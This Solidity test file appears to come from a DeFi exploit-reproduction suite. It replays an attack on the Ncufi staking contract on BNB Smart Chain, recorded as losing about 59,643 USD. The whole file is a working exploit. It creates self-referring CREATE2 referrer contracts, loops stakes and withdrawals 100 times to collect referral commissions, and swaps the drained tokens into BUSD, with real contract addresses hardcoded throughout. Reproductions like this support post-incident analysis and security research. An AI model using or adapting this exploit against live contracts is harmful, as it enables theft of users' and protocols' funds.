src/test/2024-06/INcufi_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo -- Total Lost : ~59643 USD
8// TX : https://app.blocksec.com/explorer/tx/bsc/0x556419e0a6ee8e6de6b3679605f9f62ad013007419a1b55c9f56590a824bfb52
9// Attacker : https://bscscan.com/address/0xb6911dee6a5b1c65ad1ac11a99aec09c2cf83c0e
10// Attack Contract : https://bscscan.com/address/0x4237d006471b38af0e1691c00d96193a8ff5709f
11 
12 
13interface INcufi {
14    struct order {
15        uint256 id;
16        uint256 amount;
17        uint256 apy;
18        uint256 period;
19        uint256 startdate;
20        uint256 enddate;
21        bool complet;
22        address USer;
23        uint256 withdraltime;
24        uint256 PRice;
25        uint256 decimal;
26        // uint earningwithdralusd;
27        uint256 earningwithdralAkita;
28    }
29 
30    function listMyoID() external view returns (order[] memory);
31    function register(
32        address referrer
33    ) external;
34    function STAKE(uint256 amout, uint256 day, uint256 countryid) external;
35    function withdral(
36        uint256 id
37    ) external;
38    function swapCommision(
39        uint256 amount
40    ) external;
41}
42 
43interface IMoney {
44    function getAdd() external returns (address);
45}
46 
47contract Exploit is Test {
48    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
49    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
50    INcufi Ncufi = INcufi(0x80df77b2Ae5828FF499A735ee823D6CD7Cf95f5a);
51    IERC20 AKITADEF = IERC20(0x3213573C46eb905bA17F0Bb650E10C2352552e8a);
52    address public One_referer;
53    address public Two_referer;
54 
55    function setUp() public {
56        cheats.createSelectFork("bsc", 39_729_927);
57        deal(address(BUSD), address(this), 50_000 ether);
58    }
59 
60    function testExploit() public {
61        emit log_named_decimal_uint("[End] Attacker BUSD before exploit", BUSD.balanceOf(address(this)), 18);
62        attack();
63        emit log_named_decimal_uint("[End] Attacker Ncufi after exploit", AKITADEF.balanceOf(address(this)), 18);
64        emit log_named_decimal_uint("[End] Attacker BUSD after exploit", BUSD.balanceOf(address(this)), 18);
65    }
66 
67    function attack() public {
68        //Step 1
69        One_referer = create_contract(1);
70        // address referer=IMoney(One_referer).getAdd();
71        Two_referer = cal_address(2, address(this));
72        Ncufi.register(Two_referer);
73 
74        //Step 2
75        uint256 i = 0;
76        BUSD.approve(address(Ncufi), 9_999_999_999 ether);
77        while (i < 100) {
78            Ncufi.STAKE(10_000 ether, 0, 1);
79            vm.warp(block.timestamp + 100);
80            INcufi.order[] memory orders = Ncufi.listMyoID();
81            uint256 id = orders[i].id;
82            Start(id);
83            i++;
84        }
85 
86        //End
87        // emit log_named_decimal_uint("[End] victim Ncufi BUSD balance", BUSD.balanceOf(address(Ncufi)), 18);
88        AKITADEF.approve(address(Ncufi), type(uint256).max);
89        Ncufi.swapCommision(59_643.218325 ether);
90    }
91 
92    function Start(
93        uint256 id
94    ) public {
95        Ncufi.withdral(id);
96        uint256 A = AKITADEF.balanceOf(One_referer);
97        uint256 B = AKITADEF.balanceOf(Two_referer);
98        if (A > 0 || B > 0) {
99            AKITADEF.transferFrom(address(One_referer), address(this), A);
100            AKITADEF.transferFrom(address(Two_referer), address(this), B);
101        }
102    }
103 
104    function cal_address(uint256 time, address owner) internal returns (address) {
105        bytes memory bytecode = type(Moneys).creationCode;
106        uint256 _salt = time;
107        bytecode = abi.encodePacked(bytecode, abi.encode(owner));
108        bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(One_referer), _salt, keccak256(bytecode)));
109        address hack_contract = address(uint160(uint256(hash)));
110        return hack_contract;
111    }
112 
113    function create_contracts(
114        uint256 times
115    ) internal returns (address) {
116        bytes memory bytecode = type(Moneys).creationCode;
117        uint256 _salt = times;
118        bytecode = abi.encodePacked(bytecode);
119        bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
120        address hack_contract = address(uint160(uint256(hash)));
121        address addr;
122        // Use create2 to Send money first.
123        assembly {
124            addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
125        }
126        return hack_contract;
127    }
128 
129    function create_contract(
130        uint256 times
131    ) internal returns (address) {
132        bytes memory bytecode = type(Money).creationCode;
133        uint256 _salt = times;
134        bytecode = abi.encodePacked(bytecode);
135        bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
136        address hack_contract = address(uint160(uint256(hash)));
137        address addr;
138        // Use create2 to Send money first.
139        assembly {
140            addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
141        }
142        return hack_contract;
143    }
144}
145 
146contract Money is Test {
147    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
148    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
149    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
150    IERC20 AKITADEF = IERC20(0x3213573C46eb905bA17F0Bb650E10C2352552e8a);
151    INcufi Ncufi = INcufi(0x80df77b2Ae5828FF499A735ee823D6CD7Cf95f5a);
152    address Referer = 0xcFa207a442084a2c343996D09f06b40970247afF;
153    uint256 constant PRECISION = 10 ** 18;
154    address owner;
155    address Moneysadd;
156 
157    constructor() {
158        owner = msg.sender;
159        AKITADEF.approve(address(msg.sender), type(uint256).max);
160        Ncufi.register(Referer);
161        address add = create_contracts(2, msg.sender);
162        Moneysadd = add;
163    }
164 
165    function getAdd() public returns (address) {
166        require(owner == msg.sender, "error");
167        return Moneysadd;
168    }
169 
170    function create_contracts(uint256 times, address onwer) internal returns (address) {
171        bytes memory bytecode = type(Moneys).creationCode;
172        uint256 _salt = times;
173        // bytecode = abi.encodePacked(bytecode);
174        bytecode = abi.encodePacked(bytecode, abi.encode(owner));
175        bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
176        address hack_contract = address(uint160(uint256(hash)));
177        address addr;
178        // Use create2 to Send money first.
179        assembly {
180            addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
181        }
182        return hack_contract;
183    }
184 
185    fallback() external payable {}
186}
187 
188contract Moneys is Test {
189    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
190    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
191    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
192    IERC20 AKITADEF = IERC20(0x3213573C46eb905bA17F0Bb650E10C2352552e8a);
193    INcufi Ncufi = INcufi(0x80df77b2Ae5828FF499A735ee823D6CD7Cf95f5a);
194    address Referer = 0xEB1Df3Bed5bd20c010CAAd4EE18Ff7A697334E68;
195    uint256 constant PRECISION = 10 ** 18;
196    address owner;
197 
198    constructor(
199        address aAddress
200    ) {
201        owner = aAddress;
202        AKITADEF.approve(address(owner), type(uint256).max);
203        Ncufi.register(msg.sender);
204    }
205 
206    fallback() external payable {}
207}